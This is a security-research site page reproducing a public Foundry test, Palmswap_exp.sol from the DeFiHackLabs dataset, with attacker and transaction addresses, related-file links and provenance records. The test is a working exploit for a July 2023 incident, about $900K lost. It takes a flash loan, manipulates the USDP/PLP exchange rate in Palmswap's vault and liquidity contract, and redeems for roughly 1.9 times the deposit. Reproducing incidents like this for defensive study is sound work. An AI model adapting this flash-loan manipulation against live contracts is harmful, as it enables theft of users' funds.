Public reproduction file
src/test/2023-07/Palmswap_exp.sol
Public reproduction file for dataset entry Palmswap.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$900K8// Attacker : https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d1313669// Attack Contract : https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f2510// Vulnerable Contract : https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc111// Attack Tx : https://bscscan.com/tx/0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac913// @Analysis14// https://twitter.com/BlockSecTeam/status/168368002676673740816interface IVault {17 function buyUSDP(18 address _receiver19 ) external returns (uint256);21 function sellUSDP(22 address _receiver23 ) external returns (uint256);24}26interface ILiquidityEvent {27 function purchasePlp(uint256 _amountIn, uint256 _minUsdp, uint256 _minPlp) external returns (uint256 amountOut);29 function unstakeAndRedeemPlp(uint256 _plpAmount, uint256 _minOut, address _receiver) external returns (uint256);30}32contract PalmswapTest is Test {33 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);34 IERC20 PLP = IERC20(0x8b47515579c39a31871D874a23Fb87517b975eCC);35 IERC20 USDP = IERC20(0x04C7c8476F91D2D6Da5CaDA3B3e17FC4532Fe0cc);36 IVault Vault = IVault(0x806f709558CDBBa39699FBf323C8fDA4e364Ac7A);37 ILiquidityEvent LiquidityEvent = ILiquidityEvent(0xd990094A611c3De34664dd3664ebf979A1230FC1);38 IAaveFlashloan RadiantLP = IAaveFlashloan(0xd50Cf00b6e600Dd036Ba8eF475677d816d6c4281);39 address private constant plpManager = 0x6876B9804719d8D9F5AEb6ad1322270458fA99E0;40 address private constant fPLP = 0x305496cecCe61491794a4c36D322b42Bb81da9c4;42 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);44 function setUp() public {45 cheats.createSelectFork("bsc", 30_248_637);46 cheats.label(address(BUSDT), "BUSDT");47 cheats.label(address(PLP), "PLP");48 cheats.label(address(USDP), "USDP");49 cheats.label(address(Vault), "Vault");50 cheats.label(address(LiquidityEvent), "LiquidityEvent");51 cheats.label(address(RadiantLP), "RadiantLP");52 cheats.label(plpManager, "plpManager");53 cheats.label(fPLP, "fPLP");54 }56 function testExploit() public {57 deal(address(BUSDT), address(this), 0);58 BUSDT.approve(plpManager, type(uint256).max);59 BUSDT.approve(address(RadiantLP), type(uint256).max);60 PLP.approve(fPLP, type(uint256).max);62 emit log_named_decimal_uint(63 "Attacker balance of BUSDT before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()64 );66 takeFlashLoanOnRadiant();68 emit log_named_decimal_uint(69 "Attacker balance of BUSDT after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()70 );71 }73 function executeOperation(74 address[] calldata assets,75 uint256[] calldata amounts,76 uint256[] calldata premiums,77 address initiator,78 bytes calldata params79 ) external returns (bool) {80 // Add liquidity. Exchange rate between USDP and PLP is 1:181 uint256 amountOut = LiquidityEvent.purchasePlp(1_000_000 * 1e18, 0, 0);83 BUSDT.transfer(address(Vault), 2_000_000 * 1e18);84 Vault.buyUSDP(address(this));85 // Remove liquidity. Exchange rate between USDP and PLP is 1:1.9.86 // Attacker is able to exchange for 1.9 times more USDP87 uint256 amountUSDP = LiquidityEvent.unstakeAndRedeemPlp(amountOut - 13_294 * 1e15, 0, address(this));89 USDP.transfer(address(Vault), amountUSDP - 3154 * 1e18);90 Vault.sellUSDP(address(this));92 return true;93 }95 function takeFlashLoanOnRadiant() internal {96 address[] memory assets = new address[](1);97 assets[0] = address(BUSDT);98 uint256[] memory amounts = new uint256[](1);99 amounts[0] = 3_000_000 * 1e18;100 uint256[] memory modes = new uint256[](1);101 modes[0] = 0;102 RadiantLP.flashLoan(address(this), assets, amounts, modes, address(this), bytes(""), 0);103 }104}Analysis
Dataset entry
Public Foundry test for “Palmswap” (2023-07-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
- Attack Contract
0x55252a6d50bfad0e5f1009541284c783686f7f25
- Vulnerable Contract
0xd990094a611c3de34664dd3664ebf979a1230fc1
- Attack Tx
0x62dba55054fa628845fecded658ff5b1ec1c5823f1a5e0118601aa455a30eac9
- Explorer: https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366
- Explorer: https://bscscan.com/address/0x55252a6d50bfad0e5f1009541284c783686f7f25
- Explorer: https://bscscan.com/address/0xd990094a611c3de34664dd3664ebf979a1230fc1
- Reference: https://twitter.com/BlockSecTeam/status/1683680026766737408
File record
- Name
- Palmswap
- Path
- src/test/2023-07/Palmswap_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 0d258fc30249497a340ed6ceb3ed6aeb4442cb22
- Language
- Solidity
- Size
- 105 lines
- Date
- 2023-07-24
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Palmswap_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 0d258fc30249497a340ed6ceb3ed6aeb4442cb22, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.